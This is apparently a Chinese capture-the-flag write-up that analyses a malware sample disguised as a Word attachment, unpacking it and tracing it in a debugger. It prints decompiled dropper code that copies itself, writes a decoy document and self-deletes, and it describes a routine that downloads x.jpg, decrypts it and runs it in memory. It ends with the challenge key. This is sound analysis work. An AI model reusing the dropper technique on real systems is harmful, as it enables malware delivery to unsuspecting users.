题目描述
挑战:《恶意软件分析》
赛题背景: 员工小A收到了一封邮件,带一个文档附件,小A随手打开了附件。随后IT部门发现小A的电脑发出了异常网络访问请求,进一步调查发现小A当时所打开的附件其实是一个伪装成word文档的恶意可执行文件。
赛题描述: 请在试着分析evil.exe和其所下载的x.jpg, 从中找出key.
评分标准: 密钥正确则可进入下一题。
查壳
-
一个识别不出,一个识别为 yoda’s,根据我的经验,一般出现这种情况只能通过十六进制编辑器来查看壳的特征,并且很大可能性是UPX。
-
果不其然,那就手脱一下吧。在手脱的过程中,要注意每个跳转的位置。本程序的 OEP是
-
脱壳后用IDA打开,来到主函数
-
切换到OD,在对应位置处下断,F9运行直至断下。单步跟踪,发现 sub_401370函数
int __cdecl sub_401370(HMODULE hModule) { int result; // eax@2 DWORD NumberOfBytesWritten; // [sp+0h] [bp-7BCh]@13 CHAR CommandLine; // [sp+4h] [bp-7B8h]@13 struct _STARTUPINFOA StartupInfo; // [sp+21Ch] [bp-5A0h]@13 char v5; // [sp+264h] [bp-558h]@5 LPCVOID pData; // [sp+370h] [bp-44Ch]@1 char Src; // [sp+374h] [bp-448h]@5 CHAR Buffer; // [sp+47Ch] [bp-340h]@3 HANDLE hFile; // [sp+588h] [bp-234h]@11 struct _PROCESS_INFORMATION ProcessInformation; // [sp+58Ch] [bp-230h]@13 DWORD v11; // [sp+59Ch] [bp-220h]@1 DWORD nNumberOfBytesToWrite; // [sp+5A0h] [bp-21Ch]@1 CHAR Filename; // [sp+5A4h] [bp-218h]@1 CHAR FileName; // [sp+6ACh] [bp-110h]@5 pData = 0; nNumberOfBytesToWrite = 0; v11 = GetModuleFileNameA(hModule, &Filename, 0x105u); if ( v11 <= 0x105 ) { v11 = GetTempPathA(0x105u, &Buffer); if ( v11 <= 0x105 ) { _splitpath(&Filename, 0, &FileName, &Src, &v5); if ( strstr(&Filename, "\\Temp\\") ) { result = 3; } else { strcat_s(&Buffer, 0x105u, &Src); if ( v5 != 46 ) strcat_s(&Buffer, 0x105u, "."); strcat_s(&Buffer, 0x105u, &v5); CopyFileA(&Filename, &Buffer, 0); // 复制自身 strcat_s(&FileName, 0x105u, &Src); strcat_s(&FileName, 0x105u, ".docx"); if ( sub_4012E0(0x65u, (LPVOID *)&pData, &nNumberOfBytesToWrite) )// 释放内部资源 { hFile = CreateFileA(&FileName, 0x40000000u, 1u, 0, 2u, 0x80u, 0); if ( hFile == (HANDLE)-1 ) { result = 5; } else { WriteFile(hFile, pData, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);// 向.doc文件写入数据 CloseHandle(hFile); sprintf_s(&CommandLine, 0x218u, "%s \"%s\"", &Buffer, &Filename); memset(&StartupInfo, 0, 0x44u); memset(&ProcessInformation, 0, 0x10u); StartupInfo.cb = 68; CreateProcessA(0, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);// 创建自毁线程 ShellExecuteA(0, "open", &FileName, 0, 0, 1);// 运行生成的.doc文件 result = 6; } } else { result = 4; } } } else { result = 2; } } else { result = 1; } return result; }
-
程序把自身复制到 C:\Users\ADMINI~1\AppData\Local\Temp\ 下,然后释放内部资源,在程序现行目录下生成 doc文件。创建一个自毁线程,把自身删除。打开 doc文件,里边的内容是 Welcome!。而最终这个函数返回值为 0x6,由此看来正常情况下是不会执行主函数的 else分支的,而else分支中与x.jpg有关,这才是关键!
-
重新调试,强制让其不执行 sub_401370函数,跳转到else分支。在IDA中看一下这几个函数
-
URL_DownloadFile
-
从网页上面下载x.jpg文件,读取里边的数据。
sub_401740((int)&v6, 0x4A8754F5745174ui64); sub_401800((int)&v6, (int)v8, (int)v5, v7);
-
这两个函数主要是解码一些数据,重点看 sub_401220函数
-
这个函数会申请一块内存,将x.jpg文件里边的数据进行解密后存入内存,然后做个判断,条件允许的时候就会执行内存中的代码。
-
而 http://www.ddctf.com这个服务器已经关闭了,我们可以搭建一个,让程序顺利执行。
-
我用的是 phpstudy,修改网站域名为 www.ddctf.com
-
修改 host文件,添加 127.0.0.1 www.ddctf.com一行,并保存。最后把x.jpg文件放到网站根目录下即可。
-
在OD跟的时候
if ( _time32(0) - *(_DWORD *)lpAddress >= 0 && _time32(0) - *(_DWORD *)lpAddress <= 1800 )
-
条件永为假,我们只有强制跳转。先下断
-
断下后,改一下标志位ZF=1,然后跟进call edx
-
这几个push就是向栈中压入真正的key
Key: DDCTF-cc49badacb1c4d69bd4ae7173d9e9ade@didichuxing.com
补充
- 这里主要讲一下host文件
Hosts是一个没有扩展名的系统文件,其基本作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当用户在浏览器中输入一个需要登录的网址时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如果没有找到,
则系统再会将网址提交DNS域名解析服务器进行IP地址的解析,如果发现是被屏蔽的IP或域名,就会禁止打开此网页!
- 这里主要用到host文件的屏蔽网站功能,文中的修改,就是向系统说明:你解析www.ddctf.com这个网站的时候,就去解析127.0.0.1这个服务器。